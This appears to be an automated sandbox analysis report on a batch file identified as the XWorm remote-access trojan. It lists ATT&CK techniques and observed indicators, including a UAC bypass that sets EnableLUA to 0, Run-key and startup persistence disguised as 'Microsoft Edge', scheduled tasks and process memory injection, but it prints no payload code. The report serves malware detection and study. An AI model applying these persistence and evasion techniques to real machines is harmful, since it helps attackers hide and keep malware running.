Malware Analysis Report

2024-09-11 13:45

Sample ID 240614-qttq2asfmh
Target test.bat
SHA256 243eaf0948c59279e8e61eea27e810d314f81679bb4d688d3226b7fb55546a67
Tags
xworm evasion execution persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

243eaf0948c59279e8e61eea27e810d314f81679bb4d688d3226b7fb55546a67

Threat Level: Known bad

The file test.bat was found to be: Known bad.

Malicious Activity Summary

xworm evasion execution persistence rat trojan

Xworm

Detect Xworm Payload

UAC bypass

Command and Scripting Interpreter: PowerShell

Checks computer location settings

Drops startup file

Executes dropped EXE

Adds Run key to start application

Looks up external IP address via web service

Enumerates connected drives

Drops file in System32 directory

Drops file in Windows directory

Enumerates physical storage devices

Modifies registry class

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

Uses Task Scheduler COM API

Suspicious use of WriteProcessMemory

Creates scheduled task(s)

Suspicious use of UnmapMainImage

Modifies data under HKEY_USERS

Suspicious use of FindShellTrayWindow

Modifies registry key

Suspicious use of AdjustPrivilegeToken

Suspicious use of SendNotifyMessage

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Scheduled Task/Job
T1053
Persistence
TA0003
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Scheduled Task/Job
T1053
Privilege Escalation
TA0004
Abuse Elevation Control Mechanism
T1548
Bypass User Account Control
T1548.002
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Scheduled Task/Job
T1053
Defense Evasion
TA0005
Abuse Elevation Control Mechanism
T1548
Bypass User Account Control
T1548.002
Impair Defenses
T1562
Disable or Modify Tools
T1562.001
Modify Registry
T1112
Credential Access
TA0006
Discovery
TA0007
Query Registry
T1012
System Information Discovery
T1082
Peripheral Device Discovery
T1120
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-14 13:33

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-14 13:33

Reported

2024-06-14 13:36

Platform

win10v2004-20240508-en

Max time kernel

150s

Max time network

151s

Command Line

C:\Windows\system32\svchost.exe -k DcomLaunch -p

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

UAC bypass

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" C:\Windows\system32\reg.exe N/A

Xworm

trojan rat xworm

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Edge.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft Edge.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft Edge N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft Edge = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft Edge" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\T: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\I: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\O: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\Q: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\H: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\J: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\R: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\V: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\W: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\A: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\B: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\E: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\Y: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\X: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\Z: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\G: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\M: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\S: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\P: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\U: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\K: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\L: C:\Windows\system32\svchost.exe N/A
File opened (read-only) \??\N: C:\Windows\system32\svchost.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\Microsoft Edge C:\Windows\system32\svchost.exe N/A
File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-WindowsUpdateClient%4Operational.evtx C:\Windows\System32\svchost.exe N/A
File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan C:\Windows\system32\svchost.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk C:\Windows\system32\svchost.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018400E3F6D865D" C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections C:\Windows\system32\svchost.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU C:\Windows\system32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PCT = "133628456276744550" C:\Windows\system32\svchost.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PTT = "133628457131793144" C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI C:\Windows\system32\svchost.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1 C:\Windows\system32\svchost.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\system32\reg.exe N/A
N/A N/A C:\Windows\system32\reg.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 36 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 33 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 34 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: 35 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of UnmapMainImage

Description Indicator Process Target
N/A N/A C:\Windows\Explorer.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5096 wrote to memory of 2252 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 5096 wrote to memory of 2252 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 5096 wrote to memory of 2084 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5096 wrote to memory of 2084 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2084 wrote to memory of 3336 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2084 wrote to memory of 3336 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2084 wrote to memory of 2120 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WScript.exe
PID 2084 wrote to memory of 2120 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WScript.exe
PID 2120 wrote to memory of 4892 N/A C:\Windows\System32\WScript.exe C:\Windows\system32\cmd.exe
PID 2120 wrote to memory of 4892 N/A C:\Windows\System32\WScript.exe C:\Windows\system32\cmd.exe
PID 4892 wrote to memory of 4216 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4892 wrote to memory of 4216 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4892 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4892 wrote to memory of 2396 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2396 wrote to memory of 3448 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Explorer.EXE
PID 2396 wrote to memory of 2556 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 1564 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 968 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 1748 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2396 wrote to memory of 760 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 2136 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2396 wrote to memory of 1344 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2396 wrote to memory of 1412 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 1264 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 936 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2396 wrote to memory of 2904 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 1916 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2396 wrote to memory of 2308 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2396 wrote to memory of 1716 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 1124 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2396 wrote to memory of 1908 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 920 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 2488 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 4164 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 5040 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2396 wrote to memory of 1296 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 1096 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 1684 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2396 wrote to memory of 1088 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2396 wrote to memory of 1080 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 1468 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 2052 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 2440 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 2620 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 2220 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 2416 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 1424 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 2604 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
PID 2396 wrote to memory of 400 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\svchost.exe
PID 2396 wrote to memory of 1800 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\svchost.exe
